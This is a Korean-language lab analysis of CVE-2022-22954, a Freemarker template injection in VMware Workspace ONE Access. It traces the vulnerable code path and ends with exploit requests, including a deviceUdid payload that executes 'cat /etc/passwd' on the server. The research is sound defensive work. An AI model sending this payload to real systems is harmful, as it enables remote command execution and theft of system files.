
CVE-2022-22954 분석기
Workspace ONE Access(작업 공간을 서비스로 제공하는 모델)는 SaaS, 웹 및 모바일 애플리케이션에 다중 인증, 단일 로그인(SSO) 및 조건부 액세스를 제공합니다. CVE-2022-22954는 다음 제품에 존재하는 SSTI(Server-side Template Injection) 취약점입니다:
VMware Workspace ONE Access Appliance 버전 21.08.0.1의 ova 파일을 다운로드합니다.
VMware Workstation으로 파일을 열고, 가상 머신은 NAT 네트워크에 배치되어야 합니다.
Networking Properties에서 호스트 이름(FQDN)을 구성해야 합니다.

설치 과정이 완료된 후 https://{{hostname}}:8443/ 경로에 접속하여 애플리케이션 계정 비밀번호, SSH 계정 비밀번호 및 애플리케이션 데이터베이스 비밀번호를 구성합니다. 애플리케이션은 https://{{hostname}}/ 에서 실행됩니다.

sshuser 계정으로 가상 머신에 로그인한 후 root 계정으로 전환합니다. 애플리케이션 경로는 /opt/vmware/horizon/workspace/ 에 있습니다. 애플리케이션 소스 코드는 /opt/vmware/horizon/workspacce/webapps 디렉터리에 있습니다.

/opt/vmware/horizon/workspace/bin/setenv.sh 파일을 확인하면 JAVA_OPTS 변수에서 원격 디버깅(remote debug)을 구성할 수 있음을 알 수 있습니다.

-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n을 JAVA_OPTS에 추가하고 서비스를 재시작합니다.
`systemctl restart horizon-workspace.service`
핫픽스 파일 HW-154129-applyWorkaround.py를 다운로드합니다.
이 단계들에는 애플리케이션에서 templates/customError.ftl 파일을 제거하는 단계가 포함되어 있습니다.

customError.ftl 파일에는 eval 함수가 존재합니다. errorObj 값을 제어할 수 있다면 여기에서 Freemarker SSTI 취약점을 악용할 수 있습니다.


com.vmware.enusercatalog.ui.web.UiErrorController 클래스에서 handleGenericError 함수가 errorMessage 변수를 통해 errorObj에 값을 할당하는 것을 확인할 수 있습니다.

errorMessage 함수 호출 및 매개변수를 계속 추적합니다.
handleUnauthorizedError 함수

getErrorPage 함수

sendError 및 sendUnhandledError 두 함수에서 errorMessage 값은 javax.servlet.error.message 속성에서 가져옵니다.


com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver 클래스에서 javax.servlet.error.message”* 속성은 resolverExeption 함수에서 값이 할당됩니다.

handleAnyGenericExeption 함수에는 @ExeptionHandler 어노테이션이 지정되어 있습니다.

com.vmware.endusercatalog.ui.UiApplication 클래스에서 @CommponentScan으로 표시된 패키지에는 com.vmware.endusercatalog.auth가 포함되어 있습니다.

=> 이 패키지의 예외는 handleAnyGenericExeption 함수로 포착될 수 있습니다.
com.vmware.endusercatalog.ui.config에서 인터셉터 AuthContextPopilationInterceptor가 /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify 경로에 추가되었습니다.


com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor 클래스로 이동하면 preHandle 함수에서 애플리케이션이 deviceUdid 및 deviceType 두 매개변수를 받아 authContextBuilder 함수를 호출합니다.

com.vmware.endusercatalog.auth.interceptor.AuthContext 클래스에서는 this.isValidRequest 조건이 충족되지 않으면 InvalidAuthContextException 예외가 발생합니다.


isValidRequest를 충족하려면 this.deviceId 및 this.deviceType 두 매개변수가 동시에 비어 있거나 동시에 값이 있어야 합니다.

=> 두 매개변수 중 하나에만 값을 전달하면 여기에서 오류가 발생합니다.

요청 전송
GET /catalog-portal/ui/oauth/verify?deviceUdid=111
다음 오류 발생
An unexpected error occurred while processing request with requestId: {0}.
com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController 함수로 돌아가 보면 위 오류가 필수 매개변수 error의 누락으로 발생했음을 알 수 있습니다.
@GetMapping(
value = {"/ui/oauth/verify"},
params = {"error"}
)
@ApiOperation(
value = "authorizeError",
notes = ""
)
public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
}
요청을 다시 전송
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc
deviceUdid 값이 응답에 나타납니다.

Freemarker SSTI 오류를 유발하는 매개변수를 삽입합니다.

다음 값으로 요청을 전송합니다
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

